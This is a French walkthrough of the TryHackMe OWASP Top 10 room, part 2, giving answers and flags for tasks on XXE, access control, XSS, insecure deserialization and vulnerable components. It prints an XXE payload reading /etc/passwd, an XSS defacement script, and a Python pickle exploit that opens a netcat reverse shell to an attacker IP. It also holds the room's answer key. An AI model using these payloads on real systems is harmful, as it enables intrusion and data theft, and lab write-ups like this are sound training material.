TryHackMe OWASP Top 10

Partie 2


#Task  12 - [Severity 4] - XML External Entity

Démarrer la machine et lisez le contenu.


#Task  13 - [Severity 4] - XML External Entity - eXtensible Markup Language

Lisez le contenu pour bien comprendre les mécanismes xml avant d'apprendre comment exploiter XXE.

Question
Full form of XML

Réponse
extensible markup language

Question
Is it compulsory to have XML prolog in XML documents?

Réponse
no

Question
Can we validate XML documents against a schema?

Réponse
yes

Question
How can we specify XML version and encoding in XML document?

Réponse
xml prolog


#Task  14 - [Severity 4] - XML External Entity - DTD

Ici c'est la partie la plus importante qui nous permettra d'exploiter XXE. Lisez là avec attention. Une fois assimilée, vous pouvez répondre aux questions.

exemple avec le contenu du fichier que nous appellerons 'note.dtd'

<!DOCTYPE note [ 
	<!ELEMENT note (to,from,heading,body)> 
	<!ELEMENT to (#PCDATA)> 
	<!ELEMENT from (#PCDATA)> 
	<!ELEMENT heading (#PCDATA)> 
	<!ELEMENT body (#PCDATA)> 
]>
note.dtd

NOTE: #PCDATA signifie  Parseable Character Data.


et le document xml qui l'utilise :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>
doc.xml

Question
How do you define a new ELEMENT?

Réponse
!ELEMENT

Question
How do you define a ROOT element?

Réponse
!DOCTYPE

Question
How do you define a new ENTITY?

Réponse
!ENTITY

Passons désormais à l'écriture du payload XXE.


#Task  15 - [Severity 4] - XML External Entity - XXE Payload

On y arrive enfin. Construire notre payload pour exploiter la faille XXE.
Vous apprenez ici comment construire un payload simple permettant de remplacer une donnée par une autre et le second, permet de lire un fichier sur le disque.

<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>
Payload permettant de déclarer une variable name avec la valeur feast et de l'afficher
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
payload permettant de lire le fichier /etc/passwd

#Task  16 - [Severity 4] - XML External Entity - Exploiting

Rendez vous sur la machine de la victime via votre navigateur favori puis lancez Burp Suite pour contrôler les Requests et Responses.

Testez le 1er payload vu dans la task 15

puis le second

Question
What is the name of the user in /etc/passwd

Réponse
falcon

Question
Where is falcon's SSH key located?

Réponse
/home/falcon/.ssh/id_rsa

Question
What are the first 18 characters for falcon's private key

pour trouver la réponse vous aller devoir simpement modifier votre payload 2 en pointant vers le repertoire indiqué à la réponse précédent.

Réponse
MIIEogIBAAKCAQEA7b


#Task  17 - [Severity 5] - Broken Access Control

Lisez attentivement les explications avant de passer au Challenge


#Task 18 - [Severity 5] - Broken Access Control (IDOR Challenge)

Question
Look at other users notes. What is the flag?

Réponse
flag{fivefourthree}


#Task 19 - [Severity 6] - Security Misconfiguration

Comme d'habitude lisez les explications pour comprendre le sujet puis passez aux questions.

Si vous avez bien lu, vous devriez être capable de résoudre ce challenge.

Question
Hack into the webapp, and find the flag!

Réponse
thm{4b9513968fd564a87b28aa1f9d672e17}


#Task 20 - [Severity 7] - Cross-Site Scripting

XSS l'une des failles les moins considérées et pourtant pouvant être vraiment désastreuse ! (https://tryhackme.com/room/xss)

Question
Navigate to http://[MACHINE IP] in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".

Réponse
ThereIsMoreToXSSThanYouThink

Question
On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

Réponse
ReflectiveXss4TheWin

Question
Now navigate to http://[MACHINE IP] in your browser and click on the "Stored XSS" tab on the navbar; make an account.

Then add a comment and see if you can insert some of your own HTML.

Réponse
HTML_T4gs

Question
On the same page, create an alert popup box appear on the page with your document cookies.

Réponse
W3LL_D0N3_LVL2s

Question
Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

Réponse
Celui-ci nécessite un peu de recherche. Par exemple vous pourrez utiliser le payload suivant <script>document.getElementById('thm-title').innerText = "I am a hacker"</script> ce qui donnera la réponse :
websites_can_be_easily_defaced_with_xss


#Task 21 - [Severity 8] - Insecure Deserialization


Question
Who developed the Tomcat application?

Réponse
The Apache Software foundation

Question
What type of attack that crashes services can be performed with insecure deserialization?

Réponse
Denial of service


#Task 22 - [Severity 8] - Insecure Deserialization - Objects


Question
Select the correct term of the following statement:
if a dog was sleeping, would this be:

A) A State
B) A Behaviour

Réponse
A behaviour


#Task 23 - [Severity 8] - Insecure Deserialization - Deserialization


Question
What is the name of the base-2 formatting that data is sent across a network as?

Réponse
binary


#Task 24 - [Severity 8] - Insecure Deserialization - Cookies


Question
If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?

Réponse
webapp.com/login

Question
What is the acronym for the web technology that Secure cookies work over?

Réponse
https


#Task 25 - [Severity 8] - Insecure Deserialization - Cookies Practical


Question
1st flag (cookie value)

Réponse
THM{good_old_base64_huh}

Question
2nd flag (admin dashboard)

Réponse
THM{heres_the_admin_flag}


#Task 26 - [Severity 8] - Insecure Deserialization - Code Execution

En exploitant la possibilité de décoder /encoder le cookie encodedPayload, préparer la machine de l'attaquant comme indiqué et suivez les étapes de la tâche qui consiste à modifier ce code avec votre propre IP de  machine.

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRY_HACKME_VPN_IP 1234 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

Après avoir executer python3 rce.py et récupérer l'encodage en base 64, vous obtenez un accès shell à la machine. Il ne vous reste plus qu'à trouver où se trouve le drapeau flag.txt


Question
flag.txt

Réponse
4a69a7ff9fd68

#Task 27 - [Severity 9] - Components with known vulnerabilities - Intro

Petit rappel dans cette section vous indiquant que vous pouvez retrouver de nombreuses vulnérabilités connus et parfoit même des exploits sur par exemple https://www.exploit-db.com/exploits/41962

Question
-
Réponse
-


#Task 28 - [Severity 8] - Components with known vulnerabilities - Exploit

Cette section vous explique que la majorité des exploits que vous retrouverez en ligne, peuvent nécessiter quelques modifications avant d'être fonctionnel.


Question
-

Réponse
-


#Task 29 - [Severity 8] - Components with known vulnerabilities - Lab

Le gros du travail consiste à bien rechercher sur le web pour venir à bout de ce CTF. (Capture the flag).
Trouvez le bon exploit (RCE) puis executer le pour obtenir l'accès à la machine.

Si vous êtes curieux, analysez le code source pour en apprendre d'avantage. L'analyse des exploits existants sont précieux pour créer vos propres exploits.


Question
How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)

Réponse
1611


#Task 30 - [Severity 10] - Insufficient logging and monitoring


Question
What IP address is the attacker using?

Réponse
49.99.13.16

Question
What kind of attack is being carried out?

Réponse
brute force

C'est terminé pour cette room THM !